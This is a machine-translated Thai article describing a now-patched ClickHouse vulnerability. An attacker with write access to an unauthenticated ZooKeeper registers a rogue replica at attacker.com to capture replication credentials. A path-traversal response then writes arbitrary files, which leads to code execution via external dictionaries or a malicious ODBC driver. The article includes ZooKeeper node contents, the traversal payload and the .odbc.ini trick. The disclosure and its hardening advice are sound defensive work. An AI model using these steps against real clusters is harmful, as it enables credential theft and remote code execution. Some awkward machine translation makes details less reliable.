ทำไมคุณต้องปิดกรงสวนสัตว์?

ทำไมคุณต้องปิดกรงสวนสัตว์?

บทความนี้จะบอกเล่าเรื่องราวของช่องโหว่ที่เฉพาะเจาะจงในโปรโตคอลการจำลองแบบ ClickHouse และจะแสดงให้เห็นว่าสามารถขยายขอบเขตการโจมตีได้อย่างไร

ClickHouse เป็นฐานข้อมูลสำหรับจัดเก็บข้อมูลปริมาณมาก โดยส่วนใหญ่มักใช้แบบจำลองมากกว่าหนึ่งตัว การจัดกลุ่มและการจำลองแบบใน ClickHouse สร้างขึ้นจากด้านบน อาปาเช่ ZooKeeper (ZK) และต้องการสิทธิ์ในการเขียน

การติดตั้ง ZK เริ่มต้นไม่จำเป็นต้องมีการตรวจสอบสิทธิ์ ดังนั้นเซิร์ฟเวอร์ ZK หลายพันเครื่องที่ใช้ในการกำหนดค่า Kafka, Hadoop, ClickHouse จึงเปิดเผยต่อสาธารณะ

เพื่อลดพื้นที่การโจมตี คุณควรกำหนดค่าการตรวจสอบสิทธิ์และการอนุญาตเสมอเมื่อติดตั้ง ZooKeeper

แน่นอนว่ามีการดีซีเรียลไลซ์ Java ที่ใช้ 0 วันอยู่บ้าง แต่ลองจินตนาการว่าผู้โจมตีสามารถอ่านและเขียนไปยัง ZooKeeper ซึ่งใช้สำหรับการจำลองแบบ ClickHouse

เมื่อกำหนดค่าในโหมดคลัสเตอร์ ClickHouse รองรับการสืบค้นแบบกระจาย DDLผ่าน ZK - สำหรับพวกเขาโหนดจะถูกสร้างขึ้นในชีต /clickhouse/task_queue/ddl.

ตัวอย่างเช่น คุณสร้างโหนด /clickhouse/task_queue/ddl/query-0001 มีเนื้อหา:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

และหลังจากนั้น ตารางทดสอบจะถูกลบบนคลัสเตอร์เซิร์ฟเวอร์โฮสต์1 และโฮสต์2 DDL ยังรองรับการเรียกใช้คำสั่ง CREATE/ALTER/DROP

ฟังดูน่ากลัวเหรอ? แต่ผู้โจมตีสามารถรับที่อยู่เซิร์ฟเวอร์ได้จากที่ไหน?

การจำลองแบบ ClickHouse ทำงานในระดับของแต่ละตาราง ดังนั้นเมื่อสร้างตารางใน ZK จะมีการระบุเซิร์ฟเวอร์ที่จะรับผิดชอบในการแลกเปลี่ยนข้อมูลเมตาด้วยแบบจำลอง ตัวอย่างเช่น เมื่อดำเนินการคำขอ (ต้องกำหนดค่า ZK ชเอ็กซ์ - ชื่อของแบบจำลอง ฟูบาร์ - ชื่อโต๊ะ):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

โหนดจะถูกสร้างขึ้น คอลัมน์ и เมตาดาต้า.

เนื้อหา /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

เป็นไปได้ไหมที่จะรวมข้อมูลจากคลัสเตอร์นี้ ใช่ ถ้าพอร์ตการจำลองแบบ (TCP/9009) บนเซิร์ฟเวอร์ chXX-address ไฟร์วอลล์จะไม่ถูกปิดและจะไม่มีการกำหนดค่าการรับรองความถูกต้องสำหรับการจำลองแบบ จะเลี่ยงการรับรองความถูกต้องได้อย่างไร?

ผู้โจมตีสามารถสร้างแบบจำลองใหม่ใน ZK ได้โดยเพียงแค่คัดลอกเนื้อหามา /clickhouse/tables/01-01/foobar/replicas/chXX และเปลี่ยนความหมาย host.

เนื้อหา /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

จากนั้นคุณต้องบอกแบบจำลองอื่น ๆ ว่ามีบล็อกข้อมูลใหม่บนเซิร์ฟเวอร์ของผู้โจมตีที่พวกเขาจำเป็นต้องใช้ - โหนดถูกสร้างขึ้นใน ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ตัวนับที่เติบโตแบบซ้ำซากจำเจ ซึ่งควรจะมากกว่าอันสุดท้ายในบันทึกเหตุการณ์):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ที่ไหน แหล่งที่มา_แบบจำลอง — ชื่อของแบบจำลองของผู้โจมตีที่สร้างขึ้นในขั้นตอนก่อนหน้า block_id — ตัวระบุบล็อกข้อมูล ได้รับ - คำสั่ง "get block" (และ นี่คือคำสั่งสำหรับการดำเนินการอื่นๆ).

จากนั้น แต่ละเรพลิกาจะอ่านเหตุการณ์ใหม่ในบันทึก และไปที่เซิร์ฟเวอร์ที่ควบคุมโดยผู้โจมตีเพื่อรับบล็อกข้อมูล (โปรโตคอลการจำลองแบบเป็นแบบไบนารี ทำงานบน HTTP) เซิร์ฟเวอร์ attacker.com จะได้รับคำขอ:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

โดยที่ XXX คือข้อมูลการรับรองความถูกต้องสำหรับการจำลองแบบ ในบางกรณี นี่อาจเป็นบัญชีที่เข้าถึงฐานข้อมูลผ่านโปรโตคอล ClickHouse หลักและโปรโตคอล HTTP อย่างที่คุณเห็น พื้นผิวการโจมตีมีขนาดใหญ่มาก เนื่องจาก ZooKeeper ซึ่งใช้สำหรับการจำลองแบบ ถูกทิ้งไว้โดยไม่มีการกำหนดค่าการรับรองความถูกต้อง

มาดูฟังก์ชั่นการรับบล็อกข้อมูลจากเรพลิกากัน ซึ่งเขียนด้วยความมั่นใจอย่างเต็มที่ว่าเรพลิกาทั้งหมดอยู่ภายใต้การควบคุมที่เหมาะสมและมีความน่าเชื่อถือระหว่างกัน

ทำไมคุณต้องปิดกรงสวนสัตว์?
รหัสการประมวลผลการจำลองแบบ

ฟังก์ชันจะอ่านรายการไฟล์ จากนั้นชื่อ ขนาด เนื้อหา จากนั้นเขียนลงในระบบไฟล์ ควรอธิบายวิธีการจัดเก็บข้อมูลในระบบไฟล์แยกกัน

มีไดเร็กทอรีย่อยอยู่หลายไดเร็กทอรี /var/lib/clickhouse (ไดเร็กทอรีหน่วยเก็บข้อมูลเริ่มต้นจากไฟล์คอนฟิกูเรชัน):

ธง - ไดเร็กทอรีสำหรับการบันทึก ธงใช้ในการกู้คืนหลังจากข้อมูลสูญหาย
tmp — ไดเร็กทอรีสำหรับจัดเก็บไฟล์ชั่วคราว
user_files — การดำเนินการกับไฟล์ในคำขอนั้น จำกัด อยู่ที่ไดเร็กทอรีนี้ (INTO OUTFILE และอื่น ๆ )
เมตาดาต้า — ไฟล์ sql พร้อมคำอธิบายตาราง
ประมวลผลล่วงหน้า_configs - ประมวลผลไฟล์การกำหนดค่าอนุพันธ์จาก /etc/clickhouse-server;
ข้อมูล - ไดเร็กทอรีจริงพร้อมข้อมูลเอง ในกรณีนี้สำหรับแต่ละฐานข้อมูล ไดเร็กทอรีย่อยแยกต่างหากจะถูกสร้างขึ้นที่นี่ (เช่น /var/lib/clickhouse/data/default).

สำหรับแต่ละตาราง ไดเร็กทอรีย่อยจะถูกสร้างขึ้นในไดเร็กทอรีฐานข้อมูล แต่ละคอลัมน์เป็นไฟล์แยกกันขึ้นอยู่กับ รูปแบบเครื่องยนต์. ตัวอย่างเช่นสำหรับโต๊ะ ฟูบาร์สร้างขึ้นโดยผู้โจมตี ไฟล์ต่อไปนี้จะถูกสร้างขึ้น:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

เรพลิกาคาดว่าจะได้รับไฟล์ที่มีชื่อเดียวกันเมื่อประมวลผลบล็อกข้อมูล และไม่ได้ตรวจสอบความถูกต้องแต่อย่างใด

ผู้อ่านที่สนใจอาจเคยได้ยินเกี่ยวกับการต่อ file_name ที่ไม่ปลอดภัยในฟังก์ชันแล้ว WriteBufferFromFile. ใช่ ช่วยให้ผู้โจมตีสามารถเขียนเนื้อหาตามอำเภอใจไปยังไฟล์ใดๆ บน FS ที่มีสิทธิ์ของผู้ใช้ clickhouse. ในการดำเนินการนี้ แบบจำลองที่ควบคุมโดยผู้โจมตีจะต้องส่งคืนการตอบสนองต่อไปนี้ไปยังคำขอ (เพิ่มตัวแบ่งบรรทัดเพื่อความสะดวกในการทำความเข้าใจ):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

และหลังจากการต่อข้อมูล ../../../../../../../../../tmp/pwned ไฟล์จะถูกเขียน /tmp/pwned ด้วยเนื้อหา สวัสดีจากสวนสัตว์.

มีหลายตัวเลือกในการเปลี่ยนความสามารถในการเขียนไฟล์ให้เป็นการเรียกใช้โค้ดระยะไกล (RCE)

พจนานุกรมภายนอกใน RCE

ในเวอร์ชันเก่า ไดเร็กทอรีที่มีการตั้งค่า ClickHouse จะถูกจัดเก็บไว้ตามสิทธิ์ของผู้ใช้ คลิกเฮาส์ ค่าเริ่มต้น. ไฟล์การตั้งค่าคือไฟล์ XML ที่บริการอ่านเมื่อเริ่มต้นระบบแล้วจึงแคชเข้าไป /var/lib/clickhouse/preprocessed_configs. เมื่อมีการเปลี่ยนแปลงเกิดขึ้น จะมีการอ่านซ้ำ หากคุณสามารถเข้าไปได้ /etc/clickhouse-server ผู้โจมตีสามารถสร้างของเขาเองได้ พจนานุกรมภายนอก ประเภทปฏิบัติการแล้วรันโค้ดที่กำหนดเอง ClickHouse เวอร์ชันปัจจุบันไม่ได้ให้สิทธิ์ตามค่าเริ่มต้น แต่หากเซิร์ฟเวอร์ได้รับการอัปเดตอย่างค่อยเป็นค่อยไป สิทธิ์ดังกล่าวก็จะยังคงอยู่ หากคุณสนับสนุนคลัสเตอร์ ClickHouse ให้ตรวจสอบสิทธิ์ในไดเร็กทอรีการตั้งค่า คลัสเตอร์นั้นจะต้องเป็นของผู้ใช้ root.

ODBC เป็น RCE

เมื่อติดตั้งแพ็คเกจ ผู้ใช้จะถูกสร้างขึ้น clickhouseแต่ไม่ได้สร้างโฮมไดเร็กทอรี /nonexistent. อย่างไรก็ตาม เมื่อใช้พจนานุกรมภายนอกหรือด้วยเหตุผลอื่น ผู้ดูแลระบบจะสร้างไดเร็กทอรีขึ้นมา /nonexistent และให้กับผู้ใช้ clickhouse เข้าถึงเพื่อเขียนมัน (SSZB! ประมาณ นักแปล).

ClickHouse รองรับ ODBC และสามารถเชื่อมต่อกับฐานข้อมูลอื่นได้ ใน ODBC คุณสามารถระบุเส้นทางไปยังไลบรารีโปรแกรมควบคุมฐานข้อมูล (.so) ClickHouse เวอร์ชันเก่าอนุญาตให้คุณดำเนินการนี้ได้โดยตรงในตัวจัดการคำขอ แต่ตอนนี้มีการเพิ่มการตรวจสอบสตริงการเชื่อมต่อที่เข้มงวดมากขึ้น odbc-bridgeดังนั้นจึงไม่สามารถระบุเส้นทางของไดรเวอร์จากคำขอได้อีกต่อไป แต่ผู้โจมตีสามารถเขียนไปยังโฮมไดเร็กตอรี่โดยใช้ช่องโหว่ที่อธิบายไว้ข้างต้นได้หรือไม่

มาสร้างไฟล์ ~/.odbc.ini โดยมีเนื้อหาดังนี้

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

จากนั้นเมื่อเริ่มต้น SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ห้องสมุดจะถูกโหลด test.so และได้รับ RCE แล้ว (ขอบคุณ. บั๊กลอค สำหรับทิป)

ช่องโหว่เหล่านี้และช่องโหว่อื่นๆ ได้รับการแก้ไขแล้วใน ClickHouse เวอร์ชัน 19.14.3 ดูแล ClickHouse และ ZooKeepers ของคุณ!

ที่มา: will.com

เพิ่มความคิดเห็น